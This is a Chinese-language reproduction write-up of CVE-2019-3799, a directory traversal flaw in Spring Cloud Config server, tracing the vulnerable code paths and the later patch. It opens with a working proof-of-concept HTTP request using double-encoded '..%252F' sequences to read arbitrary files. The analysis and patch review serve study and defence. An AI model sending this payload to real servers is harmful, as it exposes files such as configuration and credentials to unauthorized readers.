CVE-2019-3799spring-cloud-config 目录穿越漏洞复现


CVE-2019-3799spring-cloud-config 目录穿越漏洞复现

目前受影响的 Spring Cloud Config 版本:
  • Spring Cloud Config 2.1.0 ~ 2.1.1
  • Spring Cloud Config 2.0.0 ~ 2.0.3
  • Spring Cloud Config 1.4.0 ~ 1.4.5
先放 poc:
GET /aaaa/aaaa/master/..%252F..%252F..%252F..%252F..%252F..%252FTemp%252F1.txt HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

本地测试是在 windows 下,%252F 的数量可以根据系统和目录的不同进行增减。

为了展示更好的利用效果,我们在 C:\Temp 目录下建一个 1.txt,内容为 test。 发送利用代码: 漏洞源码下载地址: https://github.com/spring-cloud/spring-cloud-config/releases/tag/v2.1.0.RELEASE

用 IDEA 打开 spring-cloud-config-server 的目录,spring-cloud-config 分为 server 端和 client 端,该漏洞是爆发在 server 端,所以打开的是 server 端的源码。断点在图中 ResourceController.java 的 77 行。

发送 POC,发现断点捕捉成功。

根据@RequestMapping("/{name}/{profile}/{label}/**")可知,我们的路由是符合这个 action 的。 跟踪代码。 这块我们仔细讲下有几个函数下面的底层实现逻辑。

@RequestMapping("/{name}/{profile}/{label}/**")
 public String retrieve(@PathVariable String name, @PathVariable String profile,  @PathVariable String label, HttpServletRequest request,  @RequestParam(defaultValue = "true") boolean resolvePlaceholders)  throws IOException {  String path = getFilePath(request, name, profile, label);  return retrieve(name, profile, label, path, resolvePlaceholders);  } 

看下 getFilePath 的实现。

private String getFilePath(HttpServletRequest request, String name, String profile,  String label) { String stem; if(label != null ) {  stem = String.format("/%s/%s/%s/", name, profile, label); }else {  stem = String.format("/%s/%s/", name, profile); } String path = this.helper.getPathWithinApplication(request); path = path.substring(path.indexOf(stem) + stem.length()); return path; } 

直接来到 return,可以看到 IDEA 帮我们把变量的数值都已经计算出来了。通过 return 的 path 可知,这个 getFilePath 是用来获得 POC 里 URI 路径里的最后一段内容..%252F..%252F..%252F..%252F..%252F..%252FTemp%252F1.txt

回到上级代码,进入retrieve函数的实现:

synchronized String retrieve(String name, String profile, String label, String path,  boolean resolvePlaceholders) throws IOException {  if (name != null && name.contains("(_)")) {  // "(_)" is uncommon in a git repo name, but "/" cannot be matched  // by Spring MVC  name = name.replace("(_)", "/");  }  if (label != null && label.contains("(_)")) {  // "(_)" is uncommon in a git branch name, but "/" cannot be matched  // by Spring MVC  label = label.replace("(_)", "/");  }   // ensure InputStream will be closed to prevent file locks on Windows  try (InputStream is = this.resourceRepository.findOne(name, profile, label, path)  .getInputStream()) {  String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));  if (resolvePlaceholders) {  Environment environment = this.environmentRepository.findOne(name,  profile, label);  text = resolvePlaceholders(prepareEnvironment(environment), text);  }  return text;  }  } 

根据源码可知,前两个 if 是用来替换目录中含有(_)/的逻辑,一个替换 name 位置,一个替换 label 位置,直接来到 try 位置。看看 IDEA 告诉我们 name 和 label 具体对应的是什么。

来到 try,可以看到这个 try 有点不太一样,是try(){}的形式,可以查一下资料: https://blog.csdn.net/qq_33543634/article/details/80725899 可知: 简单来说,()里的内容比 {}先执行,进入 find0ne 方法:

public synchronized Resource findOne(String application, String profile, String label,  String path) {  String[] locations = this.service.getLocations(application, profile, label).getLocations();  try {  for (int i = locations.length; i-- > 0;) {  String location = locations[i];  for (String local : getProfilePaths(profile, path)) {  Resource file = this.resourceLoader.getResource(location)  .createRelative(local);  if (file.exists() && file.isReadable()) {  return file;  }  }  }  }  catch (IOException e) {  throw new NoSuchResourceException(  "Error : " + path + ". (" + e.getMessage() + ")");  }  throw new NoSuchResourceException("Not found: " + path);  } 

来到if (file.exists() && file.isReadable()) {, 看下循环的getProfilePaths(profile, path)的内容,是个数组,数组第一个不符合要求,第二个符合我们要读的文件内容: 循环来到第二个 local ..%2F..%2F..%2F..%2F..%2F..%2FTemp%2F1.txt 进入 if 判断,如果文件存在,且可以 read,就会返回 file。

这时候已经把读出来的内容复制到 text 内容返回了。

最后展示到了返回值里。 整个漏洞流程就是这么个逻辑。

我们来看下补丁是怎么打的。在 2.1.2 代码与 2.1.0 代码进行比较。

@Override
 public synchronized Resource findOne(String application, String profile, String label,  String path) {   if (StringUtils.hasText(path)) {  String[] locations = this.service.getLocations(application, profile, label)  .getLocations();  try {  for (int i = locations.length; i-- > 0;) {  String location = locations[i];  for (String local : getProfilePaths(profile, path)) {  if (!isInvalidPath(local) && !isInvalidEncodedPath(local)) {  Resource file = this.resourceLoader.getResource(location)  .createRelative(local);  if (file.exists() && file.isReadable()) {  return file;  }  }  }  }  }  catch (IOException e) {  throw new NoSuchResourceException(  "Error : " + path + ". (" + e.getMessage() + ")");  }  }  throw new NoSuchResourceException("Not found: " + path);  } 

多了isInvalidPathisInvalidEncodedPath,去看下这个两个函数的源码:

protected boolean isInvalidPath(String path) {
 if (path.contains("WEB-INF") || path.contains("META-INF")) {  if (logger.isWarnEnabled()) {  logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]");  }  return true;  }  if (path.contains(":/")) {  String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);  if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {  if (logger.isWarnEnabled()) {  logger.warn(  "Path represents URL or has \"url:\" prefix: [" + path + "]");  }  return true;  }  }  if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {  if (logger.isWarnEnabled()) {  logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: ["  + path + "]");  }  return true;  }  return false;  } 
private boolean isInvalidEncodedPath(String path) {
 if (path.contains("%")) {  try {  // Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8  // chars  String decodedPath = URLDecoder.decode(path, "UTF-8");  if (isInvalidPath(decodedPath)) {  return true;  }  decodedPath = processPath(decodedPath);  if (isInvalidPath(decodedPath)) {  return true;  }  }  catch (IllegalArgumentException | UnsupportedEncodingException ex) {  // Should never happen...  }  }  return false;  } 

对一些目录和字符串进行了过滤。

本文使用 mdnice 排版


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM